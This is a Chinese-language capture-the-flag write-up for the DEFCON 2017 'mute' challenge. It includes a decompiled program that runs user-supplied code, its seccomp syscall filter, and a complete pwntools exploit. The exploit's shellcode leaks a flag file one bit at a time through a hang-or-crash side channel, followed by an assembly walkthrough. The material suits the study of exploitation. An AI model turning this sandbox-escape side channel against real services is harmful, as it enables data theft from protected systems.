侧信道是个很有意思的东西…万物皆可侧信道…各种奇奇怪怪的方法
 
 
https://github.com/bannsec/CTF/tree/5e9bba7fa0f398257aae9f4754370aed647a079a/2017/DEFCON/mute
		好多年前的defcon的题了,但现在来看也并不简单,一方面考察了脑洞,要想到侧信道的办法,另一方面要有比较深厚的计算机基础,比如了解系统调用,会写汇编,对汇编比较熟悉才能写出来exp.
程序分析
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | int __cdecl main(int argc, const char **argv, const char **envp){
 FILE *v3;
 int v5;
 void *buf;
 
 v5 = 0;
 buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
 puts("SILENCE, FOUL DAEMON!");
 v3 = _bss_start;
 fflush(_bss_start);
 dropSyscalls(v3);
 while ( v5 != 4096 )
 {
 v3 = 0LL;
 v5 += read(0, buf, 4096 - v5);
 }
 ((void (__fastcall *)(FILE *))buf)(v3);
 return 0;
 }
 
 | 
		读取一段内容到buf,然后执行读取的内容,很明显,要读取一段shellcode,但是禁用了一些系统调用
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | root@VM-24-10-ubuntu:/home/ubuntu/side# seccomp-tools dump ./muteSILENCE, FOUL DAEMON!
 line  CODE  JT   JF      K
 =================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x11 0xc000003e  if (A != ARCH_X86_64) goto 0019
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0e 0xffffffff  if (A != 0xffffffff) goto 0019
 0005: 0x15 0x0c 0x00 0x00000000  if (A == read) goto 0018
 0006: 0x15 0x0b 0x00 0x00000002  if (A == open) goto 0018
 0007: 0x15 0x0a 0x00 0x00000003  if (A == close) goto 0018
 0008: 0x15 0x09 0x00 0x00000004  if (A == stat) goto 0018
 0009: 0x15 0x08 0x00 0x00000005  if (A == fstat) goto 0018
 0010: 0x15 0x07 0x00 0x00000006  if (A == lstat) goto 0018
 0011: 0x15 0x06 0x00 0x00000007  if (A == poll) goto 0018
 0012: 0x15 0x05 0x00 0x00000008  if (A == lseek) goto 0018
 0013: 0x15 0x04 0x00 0x00000009  if (A == mmap) goto 0018
 0014: 0x15 0x03 0x00 0x0000000a  if (A == mprotect) goto 0018
 0015: 0x15 0x02 0x00 0x0000000b  if (A == munmap) goto 0018
 0016: 0x15 0x01 0x00 0x0000000c  if (A == brk) goto 0018
 0017: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 
 | 
		诶 不是有execve吗,不能getshell吗
exp
		思路是有的,但是编写exp就比较头疼,汇编比较渣,总之一步步来,先open read然后读每个字节,然后比较,(pwncollege好好打打基础!)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 
 | from pwn import *
 context.update(arch='amd64', os='linux', log_level='ERROR')
 
 
 flag = ""
 
 for i in range(15):
 c = 0
 for j in range(8):
 p = process("./mute")
 p.readline()
 
 shellcode = shellcraft.open("./flag",constants.O_RDONLY,None)
 shellcode += pwnlib.shellcraft.amd64.mov("r8","rax")
 shellcode += pwnlib.shellcraft.amd64.lseek("r8",i,0)
 shellcode += pwnlib.shellcraft.amd64.read("r8","rsp",1)
 shellcode += '''
 movzx eax, BYTE PTR [rsp]  #把rsp指向的地址处的要比较的字符读取到al中,0扩展到eax
 movsx edx,al    # 把要比较的字符放到edx中
 mov eax,%s   #把变量放到eax中,就是循环变量 j ,以此循环每个位,一共8位
 mov ecx,eax  # 把变量放到ecx
 sar edx,cl   # 右移 cl位
 mov eax,edx
 and eax,1
 test eax,eax # and运算、测试是1还是0
 je .L2 # jz的别名,如果是0,跳转L2
 .L3:
 jmp .L3
 .L2:
 leave
 ret
 ''' % j
 shellcode = asm(shellcode)
 p.send(shellcode+b"\0"*(0x1000-len(shellcode)))
 try:
 p.recv(timeout=1)
 c = (c>>1) | 128
 except EOFError:
 c = c>>1
 sys.stdout.write(chr(c))
 flag += chr(c)
 sys.stdout.flush()
 print(flag)
 
 | 
汇编分析
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | /* open(file='flag', oflag=0, mode=0) *//* push b'flag\x00' */
 push 0x67616c66
 mov rdi, rsp
 xor edx, edx /* 0 */
 xor esi, esi /* 0 */
 /* call open() */
 push SYS_open /* 2 */
 pop rax
 syscall
 mov r8, rax   # 返回值,句柄,
 /* lseek(fd='r8', offset=0, whence=0)  这是第一次,偏移为0*/
 mov rdi, r8
 xor edx, edx /* 0 */
 xor esi, esi /* 0 */
 /* call lseek() */
 push SYS_lseek /* 8 */
 pop rax
 syscall
 /* call read('r8', 'rsp', 1) */
 xor eax, eax /* SYS_read */
 mov rdi, r8
 push 1
 pop rdx
 mov rsi, rsp
 syscall  # 系统调用号是0 前面xor即可
 
 movzx    eax, BYTE PTR [rsp]
 movsx    edx, al
 mov    eax, 0
 mov    ecx, eax
 sar    edx, cl
 mov    eax, edx
 and    eax, 1
 test    eax, eax
 je    .L2
 .L3:
 jmp    .L3
 .L2:
 leave
 ret
 
 | 
调试
调试的话,可以直接pwntools+gdb调,也可以写段汇编自己调试
接收字符分析
| 12
 3
 4
 5
 
 | try:p.recv(timeout=1)
 c = (c>>1) | 128
 except EOFError:
 c = c>>1
 
 | 
		以接收f的过程为例, f是 0b01100110 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | root@vultr:~/side# python3 1.py0b0
 0b10000000
 0b11000000
 0b1100000
 0b110000
 0b10011000
 0b11001100
 0b1100110
 f
 
 | 
		上面是直接print(bin(c))打印的每次的输出结果,其实不是很好看,补全后就明朗了,就是每次接收一个字符都会往后移动一位,然后前面的就是新的一位
0b00000000
0b10000000
0b11000000
0b01100000
0b00110000
0b10011000
0b11001100
0b01100110
		刚开始一直不明白是0还是1的时候才会接收到消息,也就是说是,leave;ret;会接收到消息,还是一直jmp会接收到消息,现在看结果是一直jmp会接收到消息,这是为什么呢?
		嘶,感觉其实不是接收到了消息,而是时间到了后,也没有报错,就继续往下执行了,但如果是0的话,就会exit退出,然后EOFError,1的话接收时间过了,就执行下面代码了.
留的小尾巴
了解一下怎么调试汇编吧..直接编写汇编代码调试
还没用时间侧信道来做呢…